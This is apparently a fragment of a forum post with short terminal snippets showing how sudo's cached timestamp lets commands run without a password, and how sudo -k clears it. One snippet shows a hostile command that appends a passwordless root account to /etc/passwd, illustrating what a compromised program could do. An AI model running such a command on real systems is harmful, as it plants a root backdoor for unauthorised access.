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  1. or download this
    /tmp>sudo echo hi
Password:
...
look mom no password

/tmp>
  2. or download this
    /tmp>sudo -k

...
timestamp removed

/tmp>
  3. or download this
    /tmp>sudo vim /etc/hosts
# ....
...

/tmp>
# exploited ancient-browser now effectively runs sudo sh -c 'echo "too
+r::0:0:let me in:/:/bin/sh" >> /etc/passwd'
  4. or download this
    /tmp>sudo -k

...
look no password

/tmp>